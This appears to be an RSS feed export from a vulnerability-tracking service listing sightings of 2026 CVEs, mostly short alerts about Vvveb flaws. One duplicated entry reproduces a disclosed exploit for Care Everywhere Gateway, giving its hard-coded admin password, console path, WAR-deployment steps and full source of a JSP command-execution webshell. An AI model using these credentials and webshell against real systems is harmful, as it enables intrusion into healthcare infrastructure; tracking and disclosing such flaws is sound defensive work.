https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Mon, 10 Aug 2026 18:34:20 +0000 https://vulnerability.circl.lu/sighting/2dec1751-33ee-473c-820a-4fd990b65720/export {"uuid": "2dec1751-33ee-473c-820a-4fd990b65720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrslmpdake2k", "content": "CVE-2026-41939\nA security flaw in Care Everywhere Gateway 14.3.10 allows anyone to access the system's administration tools without a password. This is a concern because it could allow unauthorized access to the system. If\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T18:48:06.044288Z"} {"uuid": "2dec1751-33ee-473c-820a-4fd990b65720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrslmpdake2k", "content": "CVE-2026-41939\nA security flaw in Care Everywhere Gateway 14.3.10 allows anyone to access the system's administration tools without a password. This is a concern because it could allow unauthorized access to the system. If\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T18:48:06.044288Z"} https://vulnerability.circl.lu/sighting/2dec1751-33ee-473c-820a-4fd990b65720/export Wed, 29 Jul 2026 18:48:06 +0000 https://vulnerability.circl.lu/sighting/3e85b32a-619c-4a82-9471-76e817595aad/export {"uuid": "3e85b32a-619c-4a82-9471-76e817595aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://gist.github.com/VAMorales/95874f23e27e17362b87133013834c0a", "content": "# 1. Exploit Title: Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly\n## Disclosure Date: 07/29/2026\n## CVE ID: [CVE-2026-41939](https://www.cve.org/cverecord?id=CVE-2026-41939)\n## Exploit Authors: Victor A. Morales of GM Sectec, Corp.\n## Vendor Homepage: https://www.intuvie.com/products-overview\n## Known Affected Versions: 14.3.10 (other prior versions may be vulnerable)\n\n### Description\nCare Everywhere Gateway runs on WildFly webserver on ports 20080 and 20043. The JBOSS Management Console is exposed by default on port 20990.\nHardcoded hashed credentials for the CEAdmin account are found in the location:\n`E:\\AppServers\\wildfly-8.2.0.Final\\standalone\\configuration\\mgmt-users.properties`\n\nThe password hash can be cracked to: l0g1nnatick\n\n### Proof-of-Concept\n\nNavigate to `http://:20990/console/App.html` and login with the credentials CEAdmin:l0g1nnatick.\n\nGo to the **Administration** section, upload and deploy a malicious Web Application Resource (WAR) file.\n\nWebshell used: index.jsp\n```jsp\n\n <%@ page import=\"java.io.*\" %> <% String cmd = request.getParameter(\"cmd\"); String output = \"\"; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+\"\"; } } catch(IOException e) { e.printStackTrace(); } } %> \n<%=output %>\n```", "creation_timestamp": "2026-07-29T17:13:53.438507Z"} {"uuid": "3e85b32a-619c-4a82-9471-76e817595aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://gist.github.com/VAMorales/95874f23e27e17362b87133013834c0a", "content": "# 1. Exploit Title: Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly\n## Disclosure Date: 07/29/2026\n## CVE ID: [CVE-2026-41939](https://www.cve.org/cverecord?id=CVE-2026-41939)\n## Exploit Authors: Victor A. Morales of GM Sectec, Corp.\n## Vendor Homepage: https://www.intuvie.com/products-overview\n## Known Affected Versions: 14.3.10 (other prior versions may be vulnerable)\n\n### Description\nCare Everywhere Gateway runs on WildFly webserver on ports 20080 and 20043. The JBOSS Management Console is exposed by default on port 20990.\nHardcoded hashed credentials for the CEAdmin account are found in the location:\n`E:\\AppServers\\wildfly-8.2.0.Final\\standalone\\configuration\\mgmt-users.properties`\n\nThe password hash can be cracked to: l0g1nnatick\n\n### Proof-of-Concept\n\nNavigate to `http://:20990/console/App.html` and login with the credentials CEAdmin:l0g1nnatick.\n\nGo to the **Administration** section, upload and deploy a malicious Web Application Resource (WAR) file.\n\nWebshell used: index.jsp\n```jsp\n\n <%@ page import=\"java.io.*\" %> <% String cmd = request.getParameter(\"cmd\"); String output = \"\"; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+\"\"; } } catch(IOException e) { e.printStackTrace(); } } %> \n<%=output %>\n```", "creation_timestamp": "2026-07-29T17:13:53.438507Z"} https://vulnerability.circl.lu/sighting/3e85b32a-619c-4a82-9471-76e817595aad/export Wed, 29 Jul 2026 17:13:53 +0000 https://vulnerability.circl.lu/sighting/089f42e6-7eb2-4dd7-8ef9-03f5ca4553c4/export {"uuid": "089f42e6-7eb2-4dd7-8ef9-03f5ca4553c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-41930", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116531057607844633", "content": "\u203c\ufe0f CRITICAL vuln: givanz Vvveb <1.0.8.2 exposes phpMyAdmin via hard-coded creds in docker-compose-apache.yaml (CVE-2026-41930). Unauth attackers get full DB access. Restrict access & monitor for patches. https://radar.offseq.com/threat/cve-2026-41930-cwe-306-missing-authentication-for--7e13eb3d #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-07T03:00:37.218497Z"} {"uuid": "089f42e6-7eb2-4dd7-8ef9-03f5ca4553c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-41930", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116531057607844633", "content": "\u203c\ufe0f CRITICAL vuln: givanz Vvveb <1.0.8.2 exposes phpMyAdmin via hard-coded creds in docker-compose-apache.yaml (CVE-2026-41930). Unauth attackers get full DB access. Restrict access & monitor for patches. https://radar.offseq.com/threat/cve-2026-41930-cwe-306-missing-authentication-for--7e13eb3d #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-07T03:00:37.218497Z"} https://vulnerability.circl.lu/sighting/089f42e6-7eb2-4dd7-8ef9-03f5ca4553c4/export Thu, 07 May 2026 03:00:37 +0000 https://vulnerability.circl.lu/sighting/333d17ef-5119-4e4c-97b5-837e17ee94ee/export {"uuid": "333d17ef-5119-4e4c-97b5-837e17ee94ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-41930", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mla7xt6weu2l", "content": "CRITICAL: givanz Vvveb <1.0.8.2 lets unauthenticated attackers access phpMyAdmin & full DB via hard-coded creds. Restrict phpMyAdmin access now & watch for patches. https://radar.offseq.com/threat/cve-2026-41930-cwe-306-missing-authentication-for--7e13eb3d #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-07T03:00:30.539366Z"} {"uuid": "333d17ef-5119-4e4c-97b5-837e17ee94ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-41930", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mla7xt6weu2l", "content": "CRITICAL: givanz Vvveb <1.0.8.2 lets unauthenticated attackers access phpMyAdmin & full DB via hard-coded creds. Restrict phpMyAdmin access now & watch for patches. https://radar.offseq.com/threat/cve-2026-41930-cwe-306-missing-authentication-for--7e13eb3d #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-07T03:00:30.539366Z"} https://vulnerability.circl.lu/sighting/333d17ef-5119-4e4c-97b5-837e17ee94ee/export Thu, 07 May 2026 03:00:30 +0000 https://vulnerability.circl.lu/sighting/a00f69c1-0a45-4be8-a120-879aa832410b/export {"uuid": "a00f69c1-0a45-4be8-a120-879aa832410b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41938", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7lbjqwpq2e", "content": "\ud83d\udfe0 CVE-2026-41938 - High (8.8)\n\nVvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media uplo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41938/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:50:07.566335Z"} {"uuid": "a00f69c1-0a45-4be8-a120-879aa832410b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41938", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7lbjqwpq2e", "content": "\ud83d\udfe0 CVE-2026-41938 - High (8.8)\n\nVvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media uplo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41938/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:50:07.566335Z"} https://vulnerability.circl.lu/sighting/a00f69c1-0a45-4be8-a120-879aa832410b/export Wed, 06 May 2026 20:50:07 +0000 https://vulnerability.circl.lu/sighting/ff4d94db-1b8d-403f-a325-976ec1912913/export {"uuid": "ff4d94db-1b8d-403f-a325-976ec1912913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41936", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2uurfe2n", "content": "\ud83d\udfe0 CVE-2026-41936 - High (8.1)\n\nVvveb before version 1.0.8.2 contains an XML external entity (XXE) injection vulnerability in the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41936/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:24.733017Z"} {"uuid": "ff4d94db-1b8d-403f-a325-976ec1912913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41936", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2uurfe2n", "content": "\ud83d\udfe0 CVE-2026-41936 - High (8.1)\n\nVvveb before version 1.0.8.2 contains an XML external entity (XXE) injection vulnerability in the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41936/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:24.733017Z"} https://vulnerability.circl.lu/sighting/ff4d94db-1b8d-403f-a325-976ec1912913/export Wed, 06 May 2026 20:46:24 +0000 https://vulnerability.circl.lu/sighting/e51dbaf1-90ad-4171-878b-181917371a4f/export {"uuid": "e51dbaf1-90ad-4171-878b-181917371a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41934", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2ndbu42n", "content": "\ud83d\udfe0 CVE-2026-41934 - High (8.8)\n\nVvveb before version 1.0.8.2 contains an authenticated remote code execution vulnerability in the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41934/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:17.582922Z"} {"uuid": "e51dbaf1-90ad-4171-878b-181917371a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41934", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2ndbu42n", "content": "\ud83d\udfe0 CVE-2026-41934 - High (8.8)\n\nVvveb before version 1.0.8.2 contains an authenticated remote code execution vulnerability in the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41934/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:17.582922Z"} https://vulnerability.circl.lu/sighting/e51dbaf1-90ad-4171-878b-181917371a4f/export Wed, 06 May 2026 20:46:17 +0000 https://vulnerability.circl.lu/sighting/c6a4a625-6922-4def-bb5a-f1a9a562a0e1/export {"uuid": "c6a4a625-6922-4def-bb5a-f1a9a562a0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41930", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2fwtfp2f", "content": "\ud83d\udd34 CVE-2026-41930 - Critical (9.8)\n\nVvveb before version 1.0.8.2 contains a hard-coded credentials vulnerability in its docker-compos...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41930/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:08.154016Z"} {"uuid": "c6a4a625-6922-4def-bb5a-f1a9a562a0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41930", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2fwtfp2f", "content": "\ud83d\udd34 CVE-2026-41930 - Critical (9.8)\n\nVvveb before version 1.0.8.2 contains a hard-coded credentials vulnerability in its docker-compos...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41930/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:08.154016Z"} https://vulnerability.circl.lu/sighting/c6a4a625-6922-4def-bb5a-f1a9a562a0e1/export Wed, 06 May 2026 20:46:08 +0000